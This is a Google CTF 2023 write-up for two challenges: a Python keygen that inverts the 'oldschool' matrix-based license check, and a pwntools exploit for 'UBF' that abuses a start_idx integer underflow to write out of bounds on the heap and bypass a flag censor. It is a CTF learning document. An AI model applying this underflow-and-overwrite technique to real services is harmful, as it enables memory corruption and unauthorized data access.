(CTF) Google CTF 2023 writeup (oldschool, ubf)

oldschool

Analyzing the logic, there is a condition that when password is made into a 5x5 matrix and matrix multiplication is performed with a 5x5 matrix made using id after sbox, xor, and shift row, an identity matrix must come out. I had to get a password for each of the given list of ids.

import struct
import numpy
from numpy import matrix
from numpy import linalg
import hashlib
u32 = lambda x: struct.unpack("<I", x)[0]
sbox = [16, 14, 13, 2, 11, 17, 21, 30, 7, 24, 18, 28, 26, 1, 12,
        6, 31, 25, 0, 23, 20, 22, 8, 27, 4, 3, 19, 5, 9, 10, 29, 15]
sbox_inv = [sbox.index(i) for i in range(32)]
xor_table = [25, 2, 8, 15, 10, 26, 13, 30, 4, 5, 16, 7, 14, 0, 6, 31,
       29, 11, 17, 3, 28, 19, 9, 20, 27, 21, 1, 12, 24, 22, 23, 18]

xor_table  = [x ^ 2 for x in xor_table]
_25160 = [3, 10, 22, 4, 12, 16, 20, 13, 22, 13, 22, 19, 14, 13, 12, 23, 7, 19, 14, 20, 1, 11, 7, 24, 25, 11, 13, 8, 9, 1, 12, 7, 20, 21, 19, 16, 6, 23, 7, 10, 18, 17, 2, 11, 4, 3, 10, 12, 5, 26, 8, 6, 15, 4, 10, 0, 15, 1, 14, 9, 11, 7, 1, 25, 1, 23, 1, 9, 24, 15, 23, 19, 16, 22, 15, 12, 4, 23, 19, 24, 5, 19, 8, 13, 18, 1, 21, 7, 4, 19, 25, 8, 17, 14, 6, 23]
for i in range(32):
    _25160[3*i] ^= _25160[3*i+1]
    _25160[3*i+1] ^= _25160[3*i]
    _25160[3*i] ^= _25160[3*i+1]

lookup = "23456789ABCDEFGHJKLMNPQRSTUVWXYZ"
def modMatInv(A,p):       # Finds the inverse of matrix A mod p
  n=len(A)
  A=matrix(A)
  adj=numpy.zeros(shape=(5,5))
  for i in range(0,n):
    for j in range(0,n):
      adj[i][j]=((-1)**(i+j)*int(round(linalg.det(minor(A,j,i)))))%p
  return (modInv(int(round(linalg.det(A))),p)*adj)%p

def modInv(a,p):          # Finds the inverse of a mod p, if it exists
  for i in range(1,p):
    if (i*a)%p==1:
      return i
  raise ValueError(str(a)+" has no inverse mod "+str(p))

def minor(A,i,j):    # Return matrix A with the ith row and jth column deleted
  A=numpy.array(A)
  minor=numpy.zeros(shape=(len(A)-1,len(A)-1))
  p=0
  for s in range(0,len(minor)):
    if p==i:
      p=p+1
    q=0
    for t in range(0,len(minor)):
      if q==j:
        q=q+1
      minor[s][t]=A[p][q]
      q=q+1
    p=p+1
  return minor

def shift_rows(mat):
    v26 = [0]*5
    for k in range(1, 5):
        for m in range(k):
            v26[m] = mat[5*k+m]
        for m in range(k, 5):
            mat[5*k+m-k] = mat[5*k+m]
        for m in range(5-k, 5):
            mat[5*k+m] = v26[k-5+m]
    return mat

def inv_shift_rows(mat):
    v26 = [0]*5
    for k in range(1, 5):
        for m in range(5-k):
            v26[m] = mat[5*k+m]
        for m in range(5-k, 5):
            mat[5*k+m-5+k] = mat[5*k+m]
        for m in range(k,5):
            mat[5*k+m] = v26[m-k]
    return mat

def sub(mat):
    for i in range(5):
        for j in range(5):
            mat[5*i+j] = sbox[mat[5*i+j]]
    return mat

def inv_sub(mat):
    for i in range(5):
        for j in range(5):
            mat[5*i+j] = sbox_inv[mat[5*i+j]]
    return mat

def xor(mat):
    for i in range(5):
        for j in range(5):
            mat[5*i+j]  = mat[5*i+j] ^ xor_table[5*i+j]
    return mat

def getpassword(A):
    inv = modMatInv(A,0x20)
    inv = inv.astype(int).flatten().tolist()
    inv = inv_shift_rows(inv)
    inv = xor(inv)
    inv = inv_sub(inv)

    password = ""
    for pw in inv:
        password += lookup[pw]
    return '-'.join(password[i:i+5] for i in range(0,len(password),5))

def getmatrix(a1):
    v38 = 0
    v37 = 0x7A69
    v18 = [0]*80
    v36 = 0
    v35 = 0
    for k in range(0, len(a1), 4):
        v34 = 0
        for m in range(0, 4, 1):
            v7 = k + m
            if (v7 == len(a1)):
                break
            v34 = (v34 << 7) | a1[k + m] & 0x7F
        for i in range(0, 3, 1):
            v23 = _25160[3 * (v37 % 32) + i]
            v38 = (2 * v38) | ((v34 & (1 << v23)) >> v23)
        for i in range(0, 3, 1):
            v24 = _25160[3 * (v37 % 32) + i]
            v34 = (v34 >> (v24 + 1) << v24) | v34 & ((1 << v24) - 1)
        v35 += 3
        for i in range(0, (v38 & 7) + 1, 1):
            v8 = 8121 * v37 + 28411
            v37 = v8 % 134456
        i = 0
        while (i <= 4):
            v18[16 * v36 + i] = (~v34) & 0x1F
            i += 1
            v34 >>= 5
        v36 += 1
    for k in range(0, v36, 1):
        v32 = v18[k] | (32 * v18[k + 16]) | (v18[k + 32] << 10) & 0xC00
        v31 = (8 * v18[k + 48]) | (v18[k + 32] >> 2) & 7 | (v18[k + 64] << 8)
        for m in range(0, 13, 1):
            v10 = v32 ^ ((8 * v31) | (v31 >> 12)) & 0x7FFF
            v11 = ~((2 * v38) | (v38 >> (v35 - 1)))
            v25 = v10 ^ v11 & ((1 << v35) - 1)
            v32 = v31 & 0x7FFF
            v31 = (v10 ^ (v11 & ((1 << v35) - 1))) & 0x7FFF
        v18[k] = v32 & 0x1F
        v18[k + 16] = (v32 >> 5) & 0x1F
        v18[k + 32] = v31 & 0x1C | (v32 >> 10) & 3
        v18[k + 48] = (v31 >> 5) & 0x1F
        v18[k + 64] = (v31 >> 10) & 0x1F
    v18 = [v18[i:i+5] for i in range(0,len(v18),16)]
    return v18

ids = ['gdwAnDgwbRVnrJvEqzvs',
'ZQdsfjHNgCpHYnOVcGvr',
'PmJgHBtIpaWNEMKiDQYW',
'OAmhVkxiUjUQWcmCCrVj',
'ALdgOAnaBbMwhbXExKrN',
'tqBXanGeFuaRSMDmwrAo',
'etTQMfSiRlMbNSuEOFZo',
'wceLFjLkBstBfQTtwnmv',
'rBiaRSHGLToSvIAQhZIs',
'ackTeRoASCkkkRUIBjmX',
'UBFLQMizCtLCnnOjaLMa',
'UwiBcAZEAJHKmZSrLqTB',
'oYlcWeZwpEEejIGuCHSU',
'txWHHXTtBXbckmRPxgCx',
'mhPdqEbAligcqQCsHLGl',
'UsIdCFPOqrXwsSMoqfIv',
'OdSAfswQJnMyjOlqpmqJ',
'eNKVZRlVwQCxWzDvUrUW',
'dUVNMmEPDxRIdVRXzbKa',
'iMBkfiyJxewhnvxDWXWB',
'xlQgeOrNItMzSrkldUAV',
'UPEfpiDmCeOzpXeqnFSC',
'ispoleetmoreyeah1338',
'dNcnRoRDFvfJbAtLraBd',
'FKBEgCvSeebMGixUVdeI',
'DfBrZwIrsHviSIbenmKy',
'OvQEEDVvxzZGSgNOhaEW',
'iNduNnptWlmAVsszvTIZ',
'GvTcyPNIUuojKfdqCbIQ',
'noAJKHffdaRrCDOpvMyj',
'rAViEUMTbUByuosLYfMv',
'YiECebDqMOwStHZyqyhF',
'phHkOgbzfuvTWVbvRlyt',
'arRzLiMFyEqSAHeemkXJ',
'jvsYsTpHxvXCxdVyCHtM',
'yOOsAYNxQndNLuPlMoDI',
'qHRTGnlinezNZNUCFUld',
'HBBRIZfprBYDWLZOIaAd',
'kXWLSuNpCGxenDxYyalv',
'EkrdIpWkDeVGOSPJNDVr',
'pDXIOdNXHhehzlpbJYGs',
'WMkwVDmkxpoGvuLvgESM',
'aUwdXCDDUWlPQwadOliF',
'WmlngotWTsikaXRDakbp',
'thrZhzSRBzJFPrxKmetr',
'TcurEDzLjepMrNwspPqd',
'SScTJRokTraQbzQpwDTR',
'PObUeTjQTwEflLQtPOJM',
'LUDPGXGvuVFAYlMTTowZ',
'UlTVDrBlCmXmFBmwLLKX']

pairs = []
for i,id in enumerate(ids[:]):
    try:
        mat = getmatrix(id.encode())
        password = getpassword(mat)
        print(i,id,password)
        pairs.append((id,password))
    except Exception as e:
        pass

print('CTF{' + hashlib.sha1(b'|'.join(f'{u}:{p}'.encode('utf-8') for u, p in pairs)).hexdigest() + '}')

UBF

unsigned __int64 __fastcall fix_corrupt_booleans(TYPE *a1)
{
  unsigned __int64 result; // rax
  unsigned __int64 v2; // [rsp+10h] [rbp-18h]
  __int64 v3; // [rsp+18h] [rbp-10h]
  int i; // [rsp+24h] [rbp-4h]

  v3 = a1->contents + a1->start_idx;
  v2 = a1->contents + a1->size;
  for ( i = 0; ; ++i )
  {
    result = a1->count;
    if ( i >= result )
      break;
    result = i + v3;
    if ( result >= v2 )
      break;
    *(i + v3) = *(i + v3) != 0;
  }
  return result;
}

underflow occurs when converting 2byte start_idx into 8byte. modify flag contents in heap to bypass censor_string

from pwn import *
from base64 import *
#r = process("./ubf")
r = remote("ubf.2023.ctfcompetition.com",1337)

payload = p32(0x40) + b's' + p16(1) + p16(2) + p16(5) + b"$FLAG"
payload += p32(0x50) + b'b' + p16(2) + p16(-126&0xffff) + p16(1)

payload = b64encode(payload)

pause()
r.sendline(payload)

r.interactive()

"""
1.string
|4byte total_len | 1byte type s | 2byte count | 2bytes count*2 | 2byte data ..

2.bool
|4byte size| 1byte type b | 2byte count | 2byte start_idx | bools
count < size; src[count] < end
contents <- count
return src+count

underflow in start_idx

3.int
|4byte size| 1byte type i | 2byte count | 2byte smt | ints...
count * 4 <= size; src[count] <= end
contents <- count * 4

each type = malloc(0x1d), malloc(total_len)
resizeraw = malloc(len+it*2+1 * 2), free(total_len)
"""